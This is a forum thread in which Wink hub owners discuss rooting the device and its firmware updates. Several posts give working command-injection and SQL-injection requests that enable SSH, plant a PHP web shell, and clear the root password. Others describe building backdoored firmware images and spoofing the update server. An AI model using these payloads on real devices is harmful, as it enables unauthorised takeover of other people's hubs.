yashsingh1/xdaforums huggingface dataset:
[Off-topic] kevinottawa:
If we root the device out of the box and make a copy of the exploit php file under a new name, will it survive the update to 47 or will the directory be removed and replaced?

Also just checking... but did anyone notice that you can go to http://wink-hub-images.s3.amazonaws.com/ and see an xml of links to a bunch of images listed below?

wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi

wink-hub-images.s3.amazonaws.com/00.01/app-uImage

wink-hub-images.s3.amazonaws.com/00.01/updater-rootfs.ubi

wink-hub-images.s3.amazonaws.com/00.01/updater-uImage

wink-hub-images.s3.amazonaws.com/00.01/upgrade_00.01.txt

wink-hub-images.s3.amazonaws.com/beta/app-rootfs.ubi

wink-hub-images.s3.amazonaws.com/beta/app-uImage

wink-hub-images.s3.amazonaws.com/beta/updater-rootfs.ubi

wink-hub-images.s3.amazonaws.com/beta/updater-uImage

wink-hub-images.s3.amazonaws.com/beta/upgrade_APRONbeta.txt

wink-hub-images.s3.amazonaws.com/beta/upgrade_beta.txt

wink-hub-images.s3.amazonaws.com/development/app-rootfs.ubi

wink-hub-images.s3.amazonaws.com/development/app-uImage

wink-hub-images.s3.amazonaws.com/development/upgrade_development.txt

wink-hub-images.s3.amazonaws.com/flex/app-rootfs.ubi

wink-hub-images.s3.amazonaws.com/flex/app-uImage

wink-hub-images.s3.amazonaws.com/flex/updater-rootfs.ubi

wink-hub-images.s3.amazonaws.com/flex/updater-uImage

wink-hub-images.s3.amazonaws.com/prodtest/app-rootfs.ubi

wink-hub-images.s3.amazonaws.com/prodtest/app-uImage

wink-hub-images.s3.amazonaws.com/prodtest/updater-rootfs.ubi

wink-hub-images.s3.amazonaws.com/prodtest/updater-uImage

wink-hub-images.s3.amazonaws.com/prodtest/upgrade_prodtest.txt

wink-hub-images.s3.amazonaws.com/stagetest/app-rootfs.ubi

wink-hub-images.s3.amazonaws.com/stagetest/app-uImage

wink-hub-images.s3.amazonaws.com/stagetest/updater-rootfs.ubi

wink-hub-images.s3.amazonaws.com/stagetest/updater-uImage

wink-hub-images.s3.amazonaws.com/stagetest/upgrade_stagetest.txt

wink-hub-images.s3.amazonaws.com/upgrade-test/app-rootfs.ubi

wink-hub-images.s3.amazonaws.com/upgrade-test/app-uImage

wink-hub-images.s3.amazonaws.com/upgrade-test/updater-rootfs.ubi

wink-hub-images.s3.amazonaws.com/upgrade-test/updater-uImage

wink-hub-images.s3.amazonaws.com/upgrade-test/upgrade_upgrade-test.txt
[Off-topic] jpkboca:
Interesting, but I don't get that, I get a 403 forbidden..

I too would like to know the safest way to go from stock rooted to .47. Is it just following the steps posted here? Is .47 still rootable in case I screw up, or it's unknown at this point?

Jeff
[Off-topic] kevinottawa:
I'm getting an error now too, guess I just tried at the right time?

You can still download the files, so maybe someone can play with them? Beta and Stagetest looks fun
[Off-topic] JesseK:
I was able to do the following two commands, seemingly correctly:

Allow SSH, use cURL program and run from command line
curl "http://192.168.0.1/set_dev_value.php" -d "nodeId=a&attrId=;sed -i 's/=-sg/=/' /etc/default/dropbear;/etc/init.d/S50dropbear restart;"

Create a php exploit file
curl -d id="1 or 1=1';ATTACH DATABASE '/var/www/exploit.php' AS lol; CREATE TABLE lol.pwn (t TEXT); INSERT INTO lol.pwn (t) VALUES ('<?php passthru(' || char(36) || '_POST[' || char(39) || 'cmd' || char(39) || ']); ?>');--" http://192.168.0.1/dev_detail.php

It gave these results:

C:\Program Files\cURL\bin>curl "http://192.168.0.1/set_dev_value.php" -d "nodeId
=a&attrId=;sed -i 's/=-sg/=/' /etc/default/dropbear;/etc/init.d/S50dropbear rest
art;"
Stopping dropbear sshd: OK
Starting dropbear sshd: OK
ret_code=0
C:\Program Files\cURL\bin>curl -d id="1 or 1=1';ATTACH DATABASE '/var/www/exploi
t.php' AS lol; CREATE TABLE lol.pwn (t TEXT); INSERT INTO lol.pwn (t) VALUES ('<
?php passthru(' || char(36) || '_POST[' || char(39) || 'cmd' || char(39) || ']);
?>');--" http://192.168.0.1/dev_detail.php

C:\Program Files\cURL\bin>

Now I'm lost. I hope it didn't some how upgrade itself, nor do I know how it could; but it went from WINKHUB-11 to WINKHUB-1270 while trying to initiate some of these commands from XDA and other blogs.

I never got far enough to tell it my wifi info, so there's no reason it should have grabbed an update.

Or, if there is a way to just find the firmware version so I could know if I'm wasting my time or not.

Any help would be appreciated. Thanks all
[Off-topic] berserko:
Just checked and stagetest/app-rootfs.ubi is at version 49 and updater-rootfs.ubi is at version 4 anyone looked inside to see what's new yet?

I'll try looking at it this evening see what I can see.

They're really starting to pick up the pace on builds.
[Off-topic] berserko:
Wow. I spoke too soon By the time I got around to this stagetest/updater-rootfs.ubi was to build 5 and stagetest/app-rootfs.ubi was to build 50. I applied them using my normal scripts and everything seems to be fine. SSH starts just like 47 haven't found much different as of yet but will keep everyone updated...
[Off-topic] OuTTaRiCe:
As of 0.47, they have removed the dev_list.php, devcies.php and dev_detail.php files. in case you are using these files, it might be a good idea to backup your /var/www directory.

As of 0.50, they also removed /var/www/data/apron_db_restore.sql file. Bluetooth now starts after wireless. Not sure if this is to address bluetooth issues S30bluetooth has been moved to S42bluetooth.

For those who have been manually updating, did you also manually flash the kernel?

Haven't noticed anything different with new kernel flash.

## Flash kernel command##

flash_erase /dev/mtd1 0 0
nandwrite -p /dev/mtd1 updater-uImage
flash_erase /dev/mtd4 0 0
nandwrite -p /dev/mtd4 app-uImage
[Off-topic] bdjohns1:
I'm probably missing something obvious in the process - I was trying to use nandsim to mount the updater images in an Ubuntu VM on my computer to poke around in them, review init scripts, etc. Anyone have a guide on how to do it? I'm having a hard time getting the ubiattach command to work.

Also, does someone have the php files that got pulled off? I forgot to pull a backup of them before I upgraded to 0.47.
[Off-topic] OuTTaRiCe:
Files are still available in the updater-rootfs.

You can just mount the updater-rootfs and copy the files.
[Off-topic] bdjohns1:
Good call, forgot about that. Thanks!

I'm betting one of those new updater versions they have floating around doesn't have them either.
[Off-topic] kevinottawa:
Is anyone on here also on slick deals?

Their stupid mods wont let me post the links to the firmware images because I just signed up... can someone post them to SD so they can get in on the action, more heads are better.
[Off-topic] FreeFly:
This is interesting. Seems like you could also set up your router to block the firmware downloads (firewall rule or route the update website to 127.0.0.1), and that would give you time to exploit the updater image.
[Off-topic] oomnij:
You could probably set up a simple static server on you laptop with the same xml files and structure as their s3, point your hosts/router to that and trick the hub into updating whatever firmware you want.
[Off-topic] iNeedFat:
I seem to have locked myself out completely to the device. through manually updated to the latest firmware following this post http colon //winkhubroot.wordpress dot com/2014/09/05/manually-updating-the-wink-hub/

It was late and I forgot a few steps which includes copying over the exploited set_dev_value.php. Since in the latest firmware SSHD is disabled by default, I am locked out. I didn't uncomment the line in /tmp/rootfs/etc/inittab so I don't think using UART will work at this time (i did however ordered one).

Also because I blocked the hub from communicatinf with the wink servers via the hosts file, I am unable to trick the device in updating either.

However I noticed that the hub uses wpa_supplicant and wpa_cli for connecting to WIFI, I wonder if this vulnerability would help:

http colon //openwal dot .com/lists/oss-security/2014/10/09/28 (sorry newb can't post links)

since it is relatively new, it may not have been patched in the latest firmware yet. Unfortunately, I am not an expert in the area.

-Best
[Off-topic] FreeFly:
Hmm. Interesting. But Metasploit doesn't have a module for it yet, which means it's probably difficult to exploit. I may look at it, haven't looked much at the current system to see where it can be exploited.

It's a fair point, though, that rather than setting the server IP addresses to 127.0.0.1, it may be better to point them at a non-existent local host, or one that exists but isn't serving anything.
[Off-topic] iNeedFat:
I found the Alert email by Red Hat on the vulnerability that describes a bit more on the exploit.

http : //lwn.net/Alerts/624563/

The hubs does indeed uses wpa_cli to execute an action script that starts/stop the dhcp service. I suspect one can exploit this by setting up an adhoc connection to the hub.

*sigh* i only need to run one command: 'touch database/ENABLE_SSH' to unbrick this box :(.
[Off-topic] bigdog1155:
Please help, I bought my wink hub in OCT and it has the new firmware.

I am on a windows vista machine and downloaded a copy of curl.

I created the exploit.php file and can run simple commands as long as there are no parameters after it. I can also ssh into the box and get a root password but then i get an error that:

disconnected: no supported authentication methods available (server sent publickey)?

I also have added the serial header and can get the linux boot but it won't allow me any input because there is no boot delay.

I did the URL encode but I still can't get more than a simple command with out parameters to run. Can anyone help ?
[Off-topic] bdjohns1:
That's a good idea. I think you would only need to provide an equivalent file to

http://wink-hub-images.s3.amazonaws.com/00.01/upgrade_00.01.txt

That would be a good way to trick the system into thinking an upgrade was present to be able to get into the updater system. You'd just need to set up a rule on your router at home to forward requests for the s3 site (and wink's own update site) to another place (your own webhost, a local computer with a webserver, etc). As long as you can control your own routing tables, you would always have the ability to flash a pre-rooted version of a firmware to your device - I think you just need the upgrade file to tell your hub there's a new version available (you might be able to choose any arbitrary version you want the get into the updater, then force it back to the actual version that matches what Wink is showing after you update - that would make any server-side checking on the Wink API server happy too).

If you wanted to provide a pre-rooted image, you'd also need to provide an updated md5 checksum.

This might be the best way to get unrooted devices rooted now - we don't need to rely on finding root exploits on the device when we can just bootstrap Wink's built-in update mechanism to deliver a pre-rooted update to the device.
[Off-topic] zimler:
First off, Thanks!:D Sooo... :o I must have done this wrong, because after I issue a CURL to the exploit.php I get some strange characters returned:

SQLite format 3 ♦ ☺☺ @ ☻ ☻ ☺ ♦ ☺
☺♥╙ ♥╙

Any Thoughts?

I'm using Windows.
[Off-topic] OuTTaRiCe:
For the SQL exploit, don't use windows. Use linux.
[Off-topic] electronichamsters:
I was able to control my Wink hub locally (without having to connect to Wink server), and integrate the Wink Hub into an open source home automation platform called OpenHAB. Here's how I configured it.

[ah, I can't post links, sorry. Try electronichamsters dot wordpress dot com].

The nice thing about this integration is that it opens up all kinds of automation options. You can use TV IR remotes to control lights, for example.
[Off-topic] bigdog1155:
I also see the SQLite and unprintable stuff.

I see the same thing, however I got it to work. Its a matter of getting the command string quoted correctly to pass. I created a dos bat file and pass the command to it.

Here is the contents of a .bat file nameed winkcmd.bat:

curl -d cmd=%1 hxxp://192.168.0.1/exploit.php

To send a command type:

winkcmd "ls -ila"

you will see all the junk but the command results will be at the end

I was able to remove the root password, but can't get an ssh to work.

I was able to start getty on the debug console and log in.
[Off-topic] anthonylavado:
I'd be willing to try this if someone could help me get a pre-exploited updater image.

One question (and forgive me if I missed this in the thread) - Is it possible to have it rooted and still have access through the app? I would love the local commands, but the app is still very useful for me.
[Off-topic] wpskier:
I'm trying to figure out how to create a pre-exploited image right now. I have mounted the .47 image on my linux box and modified the files accordingly (backdoor php file, no root password, ssh enabled, getty enabled, etc). Now I just need to repackage everything back into a new image file. If anyone has pointers on that, I'm all ears. I'm reading about ubinize right now, which I think is what I need to do here.
[Off-topic] wpskier:
Here's what I've come up with for creating a pre-exploited image:

1. Mount the original image file from Wink on a linux system (use directions from the wordpress page). I used the .47 image, as that all I have downloaded from Wink

2. Modify files from image as necessary to exploit (remove root password, enable ssh, add ssh keys, enable getty, modify host file, add backdoor php files, etc)

3. Create ubi.ini file:

[app-rootfs-rooted]

mode=ubi

image=ubifs.img

vol_id=0

vol_type=dynamic

vol_name=rootfs

vol_alignment=1

vol_flags=autoresize

vol_size=78217216

4. Run: mkfs.ubifs -x zlib -m 2048 -e 126976 -c 616 -r /media/ubifs ubifs.img

5. Run: ubinize -o app-rootfs-rooted.ubi -p 131072 -m 2048 -O 2048 -s 2048 ubi.ini

6. Be brave enough to flash your Hub with this file!! (I'm not at this step yet....hahah)

The file that gets created from step 5 is exactly the same size as the original image file (25427968 bytes), so I have some hope that maybe I did things correctly. I mounted the rooted image file on another linux box and my modified files are there as expected.
[Off-topic] zolakk:
Is there a way to trick it into updating? I accidentally locked myself out during the manual update (it decided to reboot before I could mount the new image) so I don't have SSH or UART access, but I have update servers blocked at my router so I can easily redirect to an internal ubuntu box I have to host a dummy set of files from the update server but I can't seem to figure out a way to trigger it to check. Do I need to just be patient and wait for them to update the app itself to require a new version?
[Off-topic] wpskier:
I'm actually at exactly the same place with one of my hubs. I have one hub rooted with .47 on it, but the other has .47 without root access. I don't know about tricking it into updating yet.

I've been capturing network traffic between my non-rooted hub and the Wink servers, but so far almost everything seems to be running over SSL. It communicates out on ports 8080 and 9092. Tonight I'm going to see what I can do to MitM the SSL connection. I tried briefly yesterday but it didn't seem to like the SSL cert I was using, so it might be looking for a cert that signed by Winks CA server.

I thought I read about someone else who had successfully MitM'd the Hub, but I don't know the details of how he did it.
[Off-topic] zimler:
Thanks!

---------- Post added at 09:54 PM ---------- Previous post was at 09:41 PM ----------

I'll give the bat file a try and see if that also works for me. Thanks!
[Off-topic] zimler:
The bat file worked like a charm and I was able to remove the password and SSH in.:good:

winkcmd "sed%20-i%20%27s%2F%3D-sg%2F%3D%2F%27%20%2Fetc%2

Fdefault%2Fdropbear%3B%2Fetc%2Finit.d%2FS50dropbear%20restart%3Becho%20-e%20%22%

5Cn%5Cn%22%20%7C%20passwd"
[Off-topic] wpskier:
If I'm not mistaken, they pushed another update recently. Looks like .55 is available.

hXXps://wink-hub-images.s3.amazonaws.com/00.01/upgrade_00.01.txt

At the bottom, you'll see:

fdest3=/dev/mtd5

fver3=00.55

foff3=0

ftype3=1

fsrc3=app-rootfs.ubi

md5sum3=86442e13205e3c493b53e333b6478a7d

Maybe now we can play with pushing our own pre-exploited image file during an upgrade. I think I'm also going to try to get root to the updater volume via the original command injection attack and the file that's still present (I think) in the updater /var/www/ directory
[Off-topic] berserko:
Ahh 55 is finally out... The updater partition has been revved to 05 as well be careful with 05 the root password has been changed I haven't ran it through john the ripper yet. Make sure you copy a known hash into the shadow file.
[Off-topic] OuTTaRiCe:
New updated firmware 0.55.

I have tested 0.55 in stagetest and prodtest. The checksums of the 2 are different. Noticed some updated binaries namely ZigBeeHACoord and bluetoothd. Also, with 0.55 in stagetest and prodtest, the led no longer goes the solid blue but stays on Amber. Not sure if it has anything to do with the wink links being blocked.

Note that this new 0.55 checksum is different from the 0.55 in stagetest and prodtest.

updater-rootfs was updated from 0.47, nothing new that I can see, but safe to install. set_dev_value.php still exists.

uImages remain the same, no need to update.

So 0.55 is safe to update as far as I can see, other than the Amber LED versus Blue on the old firmware.

set_dev_value.php still exists in the new updater.rootfs image.

For those who still need root, this may be your opportunity to exploit the updater.rootfs.
[Off-topic] berserko:
I figured when I was running stage test and getting the yellow led last week I figured I wasnt connected to the cloud so I played around with it locally and rolled back to 47.

For those that need ssh this might be your chance when its in the updater partition with the root php bug available... have your curl commands ready and keep ruuning them until they get accepted. I'd punch every hole in the device I could think of including boot delay you can always turn it off later as long as you have a uart.

Make it count....

---------- Post added at 11:26 PM ---------- Previous post was at 11:21 PM ----------

Development has the same md5sum as 00.01 but you're right stagetest and prodtest are different.... Weird...
[Off-topic] anthonylavado:
That would have been me. I only captured the traffic from the app on my iPhone to the Wink API server. I just set up a custom certificate on the iPhone and used Charles Web Proxy on my Mac to do the job. That being said, I haven't played around with it after just some cursory examination for turning switches on/off.
[Off-topic] gsmhelper:
Hi,

Mine is 0.33 and I was be able to root it and has SSH access. Now I need to install BLINK files but my dropbear won't start (for sftp access).

"Connection closed by server with exitcode 127."

Please tell me how to fix this.
[Off-topic] anthonylavado:
What's really interesting is that hXXp:// and hXXps:// provide two totally different outputs right now.

http shows:

board_id=00.01
group_id=0
sw_pkg_url=https://hub-updates.winkapp.com/00.01
fparts=4
alt_pkg_url=https://wink-hub-images.s3.amazonaws.com/00.01

...

fdest3=/dev/mtd5
fver3=00.47
foff3=0
ftype3=1
fsrc3=app-rootfs.ubi
md5sum3=55574706f2cbf4f6e17e4d224b63287d

https shows:

board_id=00.01
group_id=0
sw_pkg_url=https://wink-hub-images.s3.amazonaws.com/00.01
fparts=4
alt_pkg_url=https://hub-updates.winkapp.com/00.01

...

fdest3=/dev/mtd5
fver3=00.55
foff3=0
ftype3=1
fsrc3=app-rootfs.ubi
md5sum3=86442e13205e3c493b53e333b6478a7d

My current Wink App doesn't show any updates pending, and I've rebooted it a few times just to see if it would check again.

It would appear then that the Wink hub currently looks to the http version of the file to know when an update is available, then switches to https when downloading the update. Because the HTTP version of the file only lists 00.47 as the current version, the hubs aren't seeing any reason to check for a new firmware file at the moment. If you do download a firmware file manually, the only versions available are the latest ones from 00.55.

-----

Just noticed - since hXXps://hub-updates.winkapp.com/00.01 returns nothing at the moment, the http version of the upgrade text then provides the alt-pkg URL of the amazonaws location, which *does* have firmware files, then it proceeds from there.

So spoofing the http upgrade_00.01.txt file, and linking it to your own custom version then is the key.

I have to go digging through my hard drives... When I got the Hub for the first time in July and discovered where the update files came from (including the now hidden .xml file), I saved a copy of all the 00.31 firmware files...

---------- Post added at 02:29 AM ---------- Previous post was at 01:56 AM ----------

So I have a copy of the firmware files from the Amazon server the way they were on October 17th 2014 at 2:12 am. This was version 00.24.

I also have a copy of the prodtest (version 00.29) and the stagetest (version 00.32) as they appeared at that time.

If anyone is interested in a copy, just let me know.
[Off-topic] wathou6:
Would anyone be able to provide dev_list.php, devices.php and dev_detail.php files?

I happened to have updated my winkhub to the latest without realizing to make copies of those files since they would be deleted.
[Off-topic] OuTTaRiCe:
If you read through the thread, you will know these files still exists under the upgrader-rootfs image.
[Off-topic] electronichamsters:
Thanks. I thought the new firmware just doesn't allow this. So, do you just go to the upgrader-rootfs image and copy the devices.php file somewhere?
[Off-topic] wpskier:
Now I'm seeing http and https returning the same content now. Both are showing 00.55

However, I'm still not getting an update prompt on my non-rooted, cloud-connected hub.
[Off-topic] anthonylavado:
It must receive the update notification from another channel then. I know the activities are tracked with a PubSubHubbub implementation using PubNub. This is probably where they signal an update, and also make sense for beta distribution (they do have customers testing new sensors/equipment/software all the time).
[Off-topic] anthonylavado:
Also, this means a few things:

They're reading (hello Wink engineers!), but we already knew that

Both pages have been updated to correct the issue of the wrong update server being listed first

Firmware 00.55 is probably going to launch with Spotter UNIQ and other devices (hence the ZigBee changes)

If that's the case, we can expect the update mid-end of January

When the new update does arrive, I'll pull up Charles Web Proxy again and see where the iPhone app gets the notification from.
[Off-topic] kevinottawa:
Can't you just downgrade and then intercept the message that the iphone sends to the hub telling it to download the new update?
[Off-topic] anthonylavado:
My hub isn't rooted, so I have no way to downgrade. I've never rooted it once at all since I got it in July.